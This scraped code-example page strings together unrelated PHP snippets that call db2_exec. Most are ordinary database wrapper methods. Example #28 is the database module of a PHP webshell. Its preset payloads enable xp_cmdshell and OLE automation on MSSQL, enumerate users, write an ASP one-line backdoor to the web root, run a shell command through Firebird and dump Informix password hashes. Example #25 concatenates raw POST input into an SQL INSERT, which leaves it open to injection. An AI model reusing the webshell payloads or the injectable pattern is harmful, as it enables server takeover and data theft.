                 $this->_errorMsg = isset($php_errormsg) ? $php_errormsg : '';
                 return false;
             }
         }
         if (!db2_execute($stmtid, $inputarr)) {
             if ($this->_haserrorfunctions) {
                 $this->_errorMsg = db2_stmt_errormsg();
                 $this->_errorCode = db2_stmt_error();
             }
             return false;
         }
     } else {
         if (is_array($sql)) {
             $stmtid = $sql[1];
             if (!db2_execute($stmtid)) {
                 if ($this->_haserrorfunctions) {
                     $this->_errorMsg = db2_stmt_errormsg();
                     $this->_errorCode = db2_stmt_error();
                 }
                 return false;
             }
         } else {
             $stmtid = @db2_exec($this->_connectionID, $sql);
         }
     }
     $this->_lastAffectedRows = 0;
     if ($stmtid) {
         if (@db2_num_fields($stmtid) == 0) {
             $this->_lastAffectedRows = db2_num_rows($stmtid);
             $stmtid = true;
         } else {
             $this->_lastAffectedRows = 0;
         }
         if ($this->_haserrorfunctions) {
             $this->_errorMsg = '';
             $this->_errorCode = 0;
         } else {
             $this->_errorMsg = isset($php_errormsg) ? $php_errormsg : '';
         }
     } else {
         if ($this->_haserrorfunctions) {
             $this->_errorMsg = db2_stmt_errormsg();
             $this->_errorCode = db2_stmt_error();
         } else {
             $this->_errorMsg = isset($php_errormsg) ? $php_errormsg : '';
         }
     }
     return $stmtid;
 }
Пример #25
0
<?php

require_once '/var/www/html/app/model/connect.php';
if (isset($_POST)) {
    $guardID = isset($_POST['guardId']) ? $_POST['guardId'] : null;
    $empID = isset($_POST['empId']) ? $_POST['empId'] : null;
}
$conn = dbConnect();
if ($conn) {
    $sql = "INSERT INTO EMM_ZOO.GUARD (GUARDID, EMPID) VALUES ('" . $empID . "', '" . $guardID . "');";
    $rc = db2_exec($conn, $sql);
    if ($rc) {
        echo "<script>";
        echo "alert('Successfully')";
        echo "</script>";
        header("Refresh:0; url=guard.php");
    } else {
        echo "<script>";
        echo "alert('Failed')";
        echo "</script>";
        header("Refresh:0; url=guard.php");
    }
} else {
    echo db2_conn_errormsg($conn);
}
db2_free_stmt($rc);
db2_close($conn);
Пример #26
0
 /**
  * This function processes an SQL statement that will NOT return data.
  *
  * @access public
  * @override
  * @param string $sql                           the SQL statement
  * @throws Throwable_SQL_Exception              indicates that the executed
  *                                              statement failed
  *
  * @see http://www.php.net/manual/en/function.db2-exec.php
  * @see http://www.php.net/manual/en/function.db2-free-result.php
  */
 public function execute($sql)
 {
     if (!$this->is_connected()) {
         throw new Throwable_SQL_Exception('Message: Failed to execute SQL statement. Reason: Unable to find connection.');
     }
     $command = @db2_exec($this->resource, $sql);
     if ($command === FALSE) {
         throw new Throwable_SQL_Exception('Message: Failed to execute SQL statement. Reason: :reason', array(':reason' => @db2_stmt_errormsg($command)));
     }
     $this->sql = $sql;
     @db2_free_result($command);
 }
Пример #27
0
 protected function _rawQuery($sql)
 {
     $conn = $this->_db->getConnection();
     $result = @db2_exec($conn, $sql);
     if (!$result) {
         $e = db2_stmt_errormsg();
         throw new Db\Exception("SQL error for \"{$sql}\": {$e}");
     }
 }
Пример #28
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}
Пример #29
0
 /**
  * Executes given SQL statement.  We should use prepare / execute to allow the
  * database server to reuse its access plan and increase the efficiency
  * of your database access
  *
  * @param string $sql SQL statement
  * @return resource Result resource identifier
  * @access protected
  */
 function _execute($sql)
 {
     // get result from db
     $result = db2_exec($this->connection, $sql);
     if (!is_bool($result)) {
         // build table/column map for this result
         $map = array();
         $numFields = db2_num_fields($result);
         $index = 0;
         $j = 0;
         $offset = 0;
         while ($j < $numFields) {
             $columnName = strtolower(db2_field_name($result, $j));
             $tmp = strpos($sql, '.' . $columnName, $offset);
             $tableName = substr($sql, $offset, $tmp - $offset);
             $tableName = substr($tableName, strrpos($tableName, ' ') + 1);
             $map[$index++] = array($tableName, $columnName);
             $j++;
             $offset = strpos($sql, ' ', $tmp);
         }
         $this->_resultMap[$result] = $map;
     }
     return $result;
 }
Пример #30
0
 /**
  * INSERT wrapper, inserts an array into a table
  *
  * $args may be a single associative array, or an array of arrays
  *  with numeric keys, for multi-row insert
  *
  * @param $table   String: Name of the table to insert to.
  * @param $args    Array: Items to insert into the table.
  * @param $fname   String: Name of the function, for profiling
  * @param $options String or Array. Valid options: IGNORE
  *
  * @return bool Success of insert operation. IGNORE always returns true.
  */
 public function insert($table, $args, $fname = 'DatabaseIbm_db2::insert', $options = array())
 {
     if (!count($args)) {
         return true;
     }
     // get database-specific table name (not used)
     $table = $this->tableName($table);
     // format options as an array
     $options = IBM_DB2Helper::makeArray($options);
     // format args as an array of arrays
     if (!(isset($args[0]) && is_array($args[0]))) {
         $args = array($args);
     }
     // prevent insertion of NULL into primary key columns
     list($args, $primaryKeys) = $this->removeNullPrimaryKeys($table, $args);
     // if there's only one primary key
     // we'll be able to read its value after insertion
     $primaryKey = false;
     if (count($primaryKeys) == 1) {
         $primaryKey = $primaryKeys[0];
     }
     // get column names
     $keys = array_keys($args[0]);
     $key_count = count($keys);
     // If IGNORE is set, we use savepoints to emulate mysql's behavior
     $ignore = in_array('IGNORE', $options) ? 'mw' : '';
     // assume success
     $res = true;
     // If we are not in a transaction, we need to be for savepoint trickery
     if (!$this->mTrxLevel) {
         $this->begin(__METHOD__);
     }
     $sql = "INSERT INTO {$table} ( " . implode(',', $keys) . ' ) VALUES ';
     if ($key_count == 1) {
         $sql .= '( ? )';
     } else {
         $sql .= '( ?' . str_repeat(',?', $key_count - 1) . ' )';
     }
     $this->installPrint("Preparing the following SQL:");
     $this->installPrint("{$sql}");
     $this->installPrint(print_r($args, true));
     $stmt = $this->prepare($sql);
     // start a transaction/enter transaction mode
     $this->begin(__METHOD__);
     if (!$ignore) {
         //$first = true;
         foreach ($args as $row) {
             //$this->installPrint( "Inserting " . print_r( $row, true ));
             // insert each row into the database
             $res = $res & $this->execute($stmt, $row);
             if (!$res) {
                 $this->installPrint('Last error:');
                 $this->installPrint($this->lastError());
             }
             // get the last inserted value into a generated column
             $this->calcInsertId($table, $primaryKey, $stmt);
         }
     } else {
         $olde = error_reporting(0);
         // For future use, we may want to track the number of actual inserts
         // Right now, insert (all writes) simply return true/false
         $numrowsinserted = 0;
         // always return true
         $res = true;
         foreach ($args as $row) {
             $overhead = "SAVEPOINT {$ignore} ON ROLLBACK RETAIN CURSORS";
             db2_exec($this->mConn, $overhead, $this->mStmtOptions);
             $res2 = $this->execute($stmt, $row);
             if (!$res2) {
                 $this->installPrint('Last error:');
                 $this->installPrint($this->lastError());
             }
             // get the last inserted value into a generated column
             $this->calcInsertId($table, $primaryKey, $stmt);
             $errNum = $this->lastErrno();
             if ($errNum) {
                 db2_exec($this->mConn, "ROLLBACK TO SAVEPOINT {$ignore}", $this->mStmtOptions);
             } else {
                 db2_exec($this->mConn, "RELEASE SAVEPOINT {$ignore}", $this->mStmtOptions);
                 $numrowsinserted++;
             }
         }
         $olde = error_reporting($olde);
         // Set the affected row count for the whole operation
         $this->mAffectedRows = $numrowsinserted;
     }
     // commit either way
     $this->commit(__METHOD__);
     $this->freePrepared($stmt);
     return $res;
 }